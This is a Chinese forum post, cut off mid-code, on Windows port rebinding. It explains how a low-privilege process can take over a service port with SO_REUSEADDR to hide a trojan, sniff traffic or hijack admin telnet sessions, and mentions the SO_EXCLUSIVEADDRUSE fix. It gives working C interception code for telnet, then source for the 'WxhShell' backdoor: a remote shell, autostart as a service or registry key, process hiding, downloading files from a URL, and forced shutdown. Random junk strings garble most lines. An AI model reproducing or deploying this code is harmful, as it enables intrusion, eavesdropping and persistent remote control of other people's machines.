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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l<BV{Gl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~`C _B]3|  
QeG9CS)E}j  
  saddr.sin_family = AF_INET; |?s sHW  
HC/z3b;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e"52'zAV-  
~7U~   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w7o`B R  
naW!b&:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >W;NMcN~  
Id##367R  
  这意味着什么?意味着可以进行如下的攻击: P/dnH  
31@Lr[!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c~?Zmdn:  
r`.N?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [IQ|c?DxpL  
q+y\pdhdO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &'x~<rx  
Rh?bBAn8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mr^3Y8 $s  
!7 dct#4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 18!y7 _cFT  
##*]2Dy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G %6P`:  
hg(<>_~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uTxa5j  
m^G(qoZ]  
  #include P0jr>j@^-  
  #include yB2h/~+  
  #include p.SipQ.P  
  #include    z.!N|"4yr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L_NiU;cr%  
  int main() e[fOm0^.c  
  { *B"Y]6$  
  WORD wVersionRequested; Z(T{K\)uN  
  DWORD ret; v$W[(  
  WSADATA wsaData; J6AHc"k.  
  BOOL val; `(sb  
  SOCKADDR_IN saddr; R<Lf>p>_  
  SOCKADDR_IN scaddr; `daqzn  
  int err; iU;e!\A  
  SOCKET s; WXl+w7jr  
  SOCKET sc; )&Oc7\J,  
  int caddsize; \ph.c*c  
  HANDLE mt; u] };QR  
  DWORD tid;   q8 ?kBKP  
  wVersionRequested = MAKEWORD( 2, 2 ); pW(rNAJ!  
  err = WSAStartup( wVersionRequested, &wsaData ); BzP,Tu{,  
  if ( err != 0 ) { &~ y)b`r  
  printf("error!WSAStartup failed!\n"); cKe%P|8  
  return -1; i(^U<DW$  
  } {P]C>  
  saddr.sin_family = AF_INET;  b.&W W  
   rtRbr_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :x)H!z P  
&)%+DUV|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z[oEW>_A  
  saddr.sin_port = htons(23); lUm(iYv;H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T)rE#"_]{  
  { L^3&  
  printf("error!socket failed!\n"); .$%p0Yx+  
  return -1; ,erf{"Nh  
  } 0jf6 z-4  
  val = TRUE; sQvRupYRO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :oP LluW*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :TH cI;PG8  
  { 2 }r=DAe0  
  printf("error!setsockopt failed!\n"); <EpL<K%  
  return -1; MC}t8L=  
  } XH"+oW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; * x/!i^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O1J&Lwpk,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q8v[u_(yD  
i2~uhGJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f"QiVJq  
  { Q+ ^ &  
  ret=GetLastError(); -n|bi cP  
  printf("error!bind failed!\n"); 1cLtTE  
  return -1; _rT\?//B  
  } CubQ6@,  
  listen(s,2); ]:<! (  
  while(1) h[ DNhR  
  { dAh.I3  
  caddsize = sizeof(scaddr); cz>,sz~i  
  //接受连接请求 z-5`6aE9<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %l F*g  
  if(sc!=INVALID_SOCKET) H5=kDkb  
  { QJGGce  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "is(  
  if(mt==NULL) / (&E  
  { 7A)\:k  
  printf("Thread Creat Failed!\n"); Km` SR^&\  
  break; jT{T#_  
  } sgX!4wG&Z  
  } 2bp@m;g$  
  CloseHandle(mt); I0Pw~Jj{  
  } lkn|>U[  
  closesocket(s); 0bg"Q4  
  WSACleanup(); 2$JGhgDI  
  return 0; 4Gc M  
  }   !eLj + 0  
  DWORD WINAPI ClientThread(LPVOID lpParam) ti\ ${C3  
  { 1 em,/> "  
  SOCKET ss = (SOCKET)lpParam; 9y7N}T6  
  SOCKET sc; J D\tt-  
  unsigned char buf[4096]; 2/LSB8n|  
  SOCKADDR_IN saddr; k~Ex_2;#  
  long num; 'cW^S7  
  DWORD val; wVs?E  
  DWORD ret; -@W9+Zf5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,fkvvM{mq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Td=4V,BN  
  saddr.sin_family = AF_INET; -8TJ:#|N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #~*v##^vFH  
  saddr.sin_port = htons(23); l!mbpFt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z'z)Oo  
  { rbw$=bX}  
  printf("error!socket failed!\n"); )g0lI  
  return -1; ;H_/o+  
  } Dyo v}y  
  val = 100; ) r2Y@+.FN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^X=Q{nB  
  { y+k_&ss  
  ret = GetLastError(); !#tVQ2O  
  return -1; &`"DG$N(  
  } $*yYmF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *]6g-E?:@  
  { D'"  T'@  
  ret = GetLastError(); BuJo W@)  
  return -1; NB-dlv1  
  } oxwbq=a6yV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [2%[~&4  
  { vl"w,@V7  
  printf("error!socket connect failed!\n"); '0<d9OlJ}  
  closesocket(sc); t&r.Kf9Z\  
  closesocket(ss); $^Fl*:6  
  return -1; p=8Qv  
  } DD| 0?i  
  while(1) /sE,2X*BT  
  { :cT)M(o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~P4C`Q1PT#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $*Ucfw1T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /F*Y~>*% 1  
  num = recv(ss,buf,4096,0); h [TwaR  
  if(num>0) h3ygL"k  
  send(sc,buf,num,0); jh5QIZf=  
  else if(num==0) 44]s`QyG  
  break; o<`vh*U@,4  
  num = recv(sc,buf,4096,0); C"hN2Z!CD|  
  if(num>0) @KN+)qP  
  send(ss,buf,num,0); #lYyL`B+~  
  else if(num==0) 6EqA Y`y  
  break; TBj2(Z  
  } X8Z?G,[H  
  closesocket(ss); cG|fau<G  
  closesocket(sc); U( YAI%O  
  return 0 ; +&GV-z~o  
  } #NS|9jW  
6x+ujUBkK  
i_Kwxn$  
========================================================== pwFp<O"  
&,X}M  
下边附上一个代码,,WXhSHELL mG~_*8}e<  
("$/sT  
========================================================== `MtzA^Xr  
YagfCi ?  
#include "stdafx.h" g}an 5a  
K9!HW&?<|  
#include <stdio.h> }LHYcNw^z  
#include <string.h> ^&zCPUH  
#include <windows.h> TO wd+]B  
#include <winsock2.h> &?<uR)tl  
#include <winsvc.h> "TZq")-  
#include <urlmon.h> (lk9](;L  
Z}W{ iD{  
#pragma comment (lib, "Ws2_32.lib") fr17|#L+s  
#pragma comment (lib, "urlmon.lib") ( }-*irSsj  
2g.lb&3W  
#define MAX_USER   100 // 最大客户端连接数 _&<n'fK[  
#define BUF_SOCK   200 // sock buffer ' \JE>#  
#define KEY_BUFF   255 // 输入 buffer GO"`{|o  
!3Q0Ahf  
#define REBOOT     0   // 重启 Y.^L^ "%dF  
#define SHUTDOWN   1   // 关机 :@A&HkF  
Y },E3<  
#define DEF_PORT   5000 // 监听端口 /K=OsMl2b8  
O<u=Vz3c~0  
#define REG_LEN     16   // 注册表键长度 S{c/3k~  
#define SVC_LEN     80   // NT服务名长度 *a9cBl'_  
'Wlbh:=$  
// 从dll定义API bJ d| mm/v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =i/Df ?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZU4=&K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v"*r %nCi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J_Lmy7~xbD  
O-?rFNavxp  
// wxhshell配置信息 IH|zNg{\Y  
struct WSCFG { TI>5g(:3\  
  int ws_port;         // 监听端口 mF4W4~"  
  char ws_passstr[REG_LEN]; // 口令 5ggyk0  
  int ws_autoins;       // 安装标记, 1=yes 0=no qu=~\t1[6  
  char ws_regname[REG_LEN]; // 注册表键名 Jo?LPR \6  
  char ws_svcname[REG_LEN]; // 服务名 VB |?S|<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p`tz*ewC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %~rEJB@{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3CCs_AO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Llfl I   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \)PB p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v{u3[c   
Z8v\>@?5R  
}; L.n@;*  
]'.qRTz'\t  
// default Wxhshell configuration ^e:z ul{;]  
struct WSCFG wscfg={DEF_PORT, }:m#}s  
    "xuhuanlingzhe",  H.5 6  
    1, m=l>8  
    "Wxhshell", !:{Qbv&T  
    "Wxhshell", wNB?3v{n  
            "WxhShell Service", ^<;W+dWdU  
    "Wrsky Windows CmdShell Service", 'L/)9.29  
    "Please Input Your Password: ", .N(R~_  
  1, Vt`4u5HG  
  "http://www.wrsky.com/wxhshell.exe", '+Dsmoy  
  "Wxhshell.exe" xIdb9hm<  
    }; lhUGo =  
E=NjWO  
// 消息定义模块 pF;.nt)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b 74 !Zw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;-db/$O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d$ouH%^cGu  
char *msg_ws_ext="\n\rExit."; x]^d'o:cDP  
char *msg_ws_end="\n\rQuit."; /s?%ft#-9o  
char *msg_ws_boot="\n\rReboot..."; 7@ym:6Y+]  
char *msg_ws_poff="\n\rShutdown..."; @iz Onc:  
char *msg_ws_down="\n\rSave to "; fu7x,b0p  
^ u$gO3D  
char *msg_ws_err="\n\rErr!"; Bm~^d7;Cw  
char *msg_ws_ok="\n\rOK!"; mnt&!X4<  
Gb')a/  
char ExeFile[MAX_PATH]; 9z,sn#-t  
int nUser = 0; P`tOL#UeZL  
HANDLE handles[MAX_USER]; K1 f1 T  
int OsIsNt; R iZ)FW  
GT6; I7  
SERVICE_STATUS       serviceStatus; j{C~wy!J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >+O0W)g{o  
'}cSBbl&/n  
// 函数声明 :ez76oGyc  
int Install(void); q <}IO  
int Uninstall(void); :zW? O#aL-  
int DownloadFile(char *sURL, SOCKET wsh); Z$z-Hx@%  
int Boot(int flag); ,xwiJfG; ]  
void HideProc(void); #  X (2  
int GetOsVer(void); 1P)K@j  
int Wxhshell(SOCKET wsl); pH~\~  
void TalkWithClient(void *cs); 4LSs WO<@  
int CmdShell(SOCKET sock); |W@ ~mrO  
int StartFromService(void); N"9^A^w8k  
int StartWxhshell(LPSTR lpCmdLine); tI^91I  
f6r!3y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a1,)1y~  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ?K-4T  
PKlR_#EB?  
// 数据结构和表定义 .ATpwFal  
SERVICE_TABLE_ENTRY DispatchTable[] = 3.movkj  
{ ]& D dy&V  
{wscfg.ws_svcname, NTServiceMain}, ,[n9DPZ  
{NULL, NULL} }B%9cc  
}; *r.% /^@  
>s<Bu'r  
// 自我安装 N8]DzE0%  
int Install(void) [I;C 6p  
{ U|wST&rU|  
  char svExeFile[MAX_PATH]; 2j f!o  
  HKEY key; ;CO qu#(  
  strcpy(svExeFile,ExeFile); 6 ;'s9s"  
8UB2 du@?  
// 如果是win9x系统,修改注册表设为自启动 'IU3Xu[-.  
if(!OsIsNt) { G}U <^]c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uQG|r)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EH".ki=e  
  RegCloseKey(key); 4m~y%> &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 95Y<x}=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fhi}x(  
  RegCloseKey(key); ?0)K[Kd'Y  
  return 0; 8Hq4ppC  
    } NXD-  
  } ;X}2S!7Ko  
} 1_7p`Gxt[/  
else { taDe^Ist j  
#x 6/"Y2  
// 如果是NT以上系统,安装为系统服务 oVK?lQ~y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (~Z&U  
if (schSCManager!=0) s<*+=aIfu  
{ %C%3c4+Oh  
  SC_HANDLE schService = CreateService i59 }6u_f  
  ( 7<LuL  
  schSCManager, rzdQLan  
  wscfg.ws_svcname, Vc0j)3  
  wscfg.ws_svcdisp, Fs >MFj  
  SERVICE_ALL_ACCESS, 23|JgKuA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PY|zN|  
  SERVICE_AUTO_START, tOXyle~C  
  SERVICE_ERROR_NORMAL, Ew4D'; &;  
  svExeFile, 1G A.c:  
  NULL, !- [ ZQ  
  NULL, z<Z0/a2'1  
  NULL, wsdZwik  
  NULL, iK2f]h  
  NULL h~QQ-  
  ); H/t0#  
  if (schService!=0) \[!{tbK`2  
  { >07i"a  
  CloseServiceHandle(schService); !UT!PX)  
  CloseServiceHandle(schSCManager); 75>%!mhM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y"ta`+ VJ  
  strcat(svExeFile,wscfg.ws_svcname); `pv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZKW1HL ]m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); */~|IbZ`o  
  RegCloseKey(key); [#wt3<d`)  
  return 0; 4~Q<LEly  
    } p7+>]sqX  
  } !pfpT\i]N:  
  CloseServiceHandle(schSCManager); E9Kp=3H  
} `]]m$  
} ?i_2ueVR  
bv41et+Kb  
return 1; +%<kcc3  
} ZK ?V{X{";  
|5(CzXR]  
// 自我卸载 Lww&[|k.  
int Uninstall(void) ,aWI&ve6  
{ %-YWn`yEm  
  HKEY key; G;u 6p  
3]iw3M  
if(!OsIsNt) { f7zB_hVDmE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V(XU^}b#  
  RegDeleteValue(key,wscfg.ws_regname); Mmgm6{  
  RegCloseKey(key); Ce//; Op  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @@a#DjE%/  
  RegDeleteValue(key,wscfg.ws_regname); Bd*Ok]  
  RegCloseKey(key); ^69(V LK  
  return 0; TN Z -0  
  } -~sW@u)O  
} f*V^HfiQb  
} p%Q{Rqc)  
else { e`B!)Sr  
x`2dN/wDhf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5T"h7^}e  
if (schSCManager!=0) -5os0G80  
{ Tq^B>{S "  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (^T}6t3+4  
  if (schService!=0) ZCK#=:ln  
  { uR=*q a  
  if(DeleteService(schService)!=0) { cEXd#TlY~X  
  CloseServiceHandle(schService); >;G7ty[RX7  
  CloseServiceHandle(schSCManager); j0F& WKk  
  return 0; , iEGf-!k  
  } 3Zz_wr6  
  CloseServiceHandle(schService); sw$JY}Q8x  
  } MB5V$toC  
  CloseServiceHandle(schSCManager); >!PM5%G  
} mE+=H]`.p  
} )MV `'i  
79Aa~+i'_  
return 1; Oo!]{[}7  
} kQ[23  
6."|m+D  
// 从指定url下载文件 R4D$)D  
int DownloadFile(char *sURL, SOCKET wsh) M"-53|#:w\  
{ t& yuo E  
  HRESULT hr; 5s0`T]X-  
char seps[]= "/"; W;X:U.  
char *token; EnMc9FN(y  
char *file; 1JS5 LS  
char myURL[MAX_PATH]; 6DEH |2  
char myFILE[MAX_PATH]; ](+u'8  
@Rd`/S@  
strcpy(myURL,sURL); #VZ-gy4$\B  
  token=strtok(myURL,seps); C:!&g~{cKi  
  while(token!=NULL) rXrIGgeM  
  { ) [)1  
    file=token; v&])D/a  
  token=strtok(NULL,seps); '\pSUp  
  } 5:~ zlg  
W$}2 $}r0U  
GetCurrentDirectory(MAX_PATH,myFILE); 9y\Ik/  
strcat(myFILE, "\\"); UOe@R|79q  
strcat(myFILE, file); M(} T\R  
  send(wsh,myFILE,strlen(myFILE),0); +>tSO!}[  
send(wsh,"...",3,0); $?&distJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !( _qM  
  if(hr==S_OK) r-hb]!t  
return 0; nS!m1&DeD  
else /Zz [vf  
return 1; U,< ?]h  
;P8.U(  
} N]I::  
Vvn~G.&)  
// 系统电源模块 <P5 7s+JK  
int Boot(int flag) I0bkc3  
{ tB0f+ wC  
  HANDLE hToken; SphP@J<ONW  
  TOKEN_PRIVILEGES tkp; w\JTMS$  
&61h*s  
  if(OsIsNt) { _bCIVf`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )C#>@W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UJ)( Sw  
    tkp.PrivilegeCount = 1; OQ3IkE`G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tac_MtW?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BE!WCDg,  
if(flag==REBOOT) { 7%|HtBXv^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |pT[ZT|}G  
  return 0; @ +>>TGC  
} nI`9|W  
else { 5N#Sic M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (]"`>, ray  
  return 0; >)F)@KAuN4  
} [WR*u\FF  
  } S2V+%Z _J  
  else { *Fd(  
if(flag==REBOOT) { ZjgfkZAS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r#mH[|@W~  
  return 0; G'iE`4`2  
} #!j wn^yq  
else { a/~1CrYr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2Gc0pBqx  
  return 0; RbEtNwG@c  
} na|23jz4  
} K!tM "`a  
5BMrn0  
return 1; D' h%.  
} X$< CIZ  
/,9n1|FrG  
// win9x进程隐藏模块 AR)A <  
void HideProc(void) 3Q#3S  
{ Y-y}gc_L  
_lw:lZM?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pu2cU5n  
  if ( hKernel != NULL ) JIMi~mEiN  
  { k|rbh.Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )tx!BJiZ[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p v*f]Yzx  
    FreeLibrary(hKernel); 9,wU[=.0  
  } ov Wm}!r  
FQB6` M  
return; WHR6/H  
} Hy2~D:34  
xtd1>|  
// 获取操作系统版本 AYoLpes  
int GetOsVer(void) ^%RIz!}  
{ DLEHsbP{$  
  OSVERSIONINFO winfo; 5"7lWX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i)M JP*  
  GetVersionEx(&winfo); `_.(qg   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^4 ~ V/  
  return 1; i=`@)E  
  else Nj}-"R\u  
  return 0; hx!hI1   
} aB~=WWLR\  
P?M WT]fY  
// 客户端句柄模块 x3=SMN|a  
int Wxhshell(SOCKET wsl) 7HQ|3rt  
{ 10..<v7  
  SOCKET wsh; R5r CCp  
  struct sockaddr_in client; kO' NT:  
  DWORD myID; CQET  
joJQ?lG  
  while(nUser<MAX_USER) KiMEd373-  
{ g:[yA{Eh  
  int nSize=sizeof(client); j.g9O]pi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \aGTi pB  
  if(wsh==INVALID_SOCKET) return 1; i/q1>  
R?J=5tO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `>\>'V<&  
if(handles[nUser]==0) X[$FjKZh=F  
  closesocket(wsh); L[}Ak1 A  
else 6cTd SE  
  nUser++; Eh.NJI(  
  } @l@erCw@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +r 8/\'u-  
?&$BQK  
  return 0; Jrw R:_+|  
}  kSU]~x  
'>dx~v %  
// 关闭 socket fqD1Ej  
void CloseIt(SOCKET wsh) JX2@i8[~  
{ u|M_O5^  
closesocket(wsh); oGqbk x  
nUser--; YjwC8#$  
ExitThread(0); [UYE.$Y#(  
} PG'+vl  
kTS #>uS  
// 客户端请求句柄 ~cW,B}  
void TalkWithClient(void *cs) hD>cxo  
{ E9v_6d[  
7\ kixfEg  
  SOCKET wsh=(SOCKET)cs; = ^_4u%}  
  char pwd[SVC_LEN]; </) HcRj'e  
  char cmd[KEY_BUFF]; M%1wT9  
char chr[1]; ])$Rw $`w  
int i,j; %j2ZQ/z  
uxD$dd?  
  while (nUser < MAX_USER) { .a]9rQQ&_  
L [=JHW  
if(wscfg.ws_passstr) { I@o42%w2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eh|v>Yew  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #@K %Mx  
  //ZeroMemory(pwd,KEY_BUFF); :B5M#D!dO  
      i=0; ^U]B&+m  
  while(i<SVC_LEN) { ;wj8:9 ;  
QX|y};7\e  
  // 设置超时 :6y;U  
  fd_set FdRead; Gq9pJ  
  struct timeval TimeOut; I?Ct@yxhF'  
  FD_ZERO(&FdRead); b=Oec%Adx  
  FD_SET(wsh,&FdRead); }ujl2uhM  
  TimeOut.tv_sec=8; /}#@uC  
  TimeOut.tv_usec=0; ;TTH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FR? \H"'x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _jD\kg#LY  
Zp <^|=D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xjg(}w  
  pwd=chr[0]; f,'9Bj. ~  
  if(chr[0]==0xd || chr[0]==0xa) { 1_6oM/?'  
  pwd=0; [mA\,ny9  
  break; y#)ad\  
  } ?S~j2 J]  
  i++; kr>H,%3~  
    } pF}WMt  
zJX _EO  
  // 如果是非法用户,关闭 socket db0]D\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }q D0-  
} T~- OC0  
TjLW<D(i>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vs@H>97,G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J0O wzO  
xty)*$C>  
while(1) { w4(g]9^Q  
I/ V`@*/+  
  ZeroMemory(cmd,KEY_BUFF); ;FO( mL(  
|++\"g  
      // 自动支持客户端 telnet标准   /O&{fo  
  j=0; ,RIC _26  
  while(j<KEY_BUFF) { B"=w9w]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XCUU(H  
  cmd[j]=chr[0]; ^QTtCt^:  
  if(chr[0]==0xa || chr[0]==0xd) { TIYo&?Z)  
  cmd[j]=0; 9@yi UX  
  break; .p$tb2%r  
  } {bD:OF  
  j++; p^THoF'~T  
    } ?Oyps7hXx  
qM8"* dL  
  // 下载文件 *d mS'/  
  if(strstr(cmd,"http://")) { ~3,k8C"pRq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mo  
  if(DownloadFile(cmd,wsh)) 8\B]!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gx/kel[Y}  
  else @z1pE@7jK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ F7ru4"{  
  } Dwuao`~Xm  
  else { _fE$KaP  
$, @,(M`i}  
    switch(cmd[0]) { X &s"}Hf  
  6&s" "J)3  
  // 帮助 /+ Q3JS(  
  case '?': { l7vxTj@(-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tiQeON-Q_  
    break; QP:|D_k  
  } G7uYkJO  
  // 安装 bTbF  
  case 'i': { UNJAfr P  
    if(Install()) Zj5B}[,l\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ge+T[  
    else ibn(eu<uW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M" R= ;n  
    break; `Tk GI0q  
    } gOLN7K-)  
  // 卸载 &"'Z)iWm  
  case 'r': { Q7@oAeNd  
    if(Uninstall()) fF]w[lLDv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / lDei}  
    else @M&qH[tK-A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C q)Cwc[H  
    break; 20?@t.aMp  
    } 8"yZS)09  
  // 显示 wxhshell 所在路径 Wf:LYL  
  case 'p': { pX?/=T@ Bw  
    char svExeFile[MAX_PATH]; )zK@@E  
    strcpy(svExeFile,"\n\r"); 9>T5~C'*  
      strcat(svExeFile,ExeFile); 5N(OW:M  
        send(wsh,svExeFile,strlen(svExeFile),0); xZ(ryE%  
    break; }BI|M_q.1~  
    } kcG_ n  
  // 重启 H7dT6`<~Y  
  case 'b': { k keDt+^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UAe8Ct=YJ  
    if(Boot(REBOOT)) IaT\ymm`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pmdf:?B  
    else { Q:U>nm>xA  
    closesocket(wsh); hI 1or4V  
    ExitThread(0); \dJOZ2J<z  
    } TX).*%f [r  
    break; N~~ sM"n  
    } hMnm>  
  // 关机 1\ Gxk&  
  case 'd': { \[&&4CN{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,)M/mG?,  
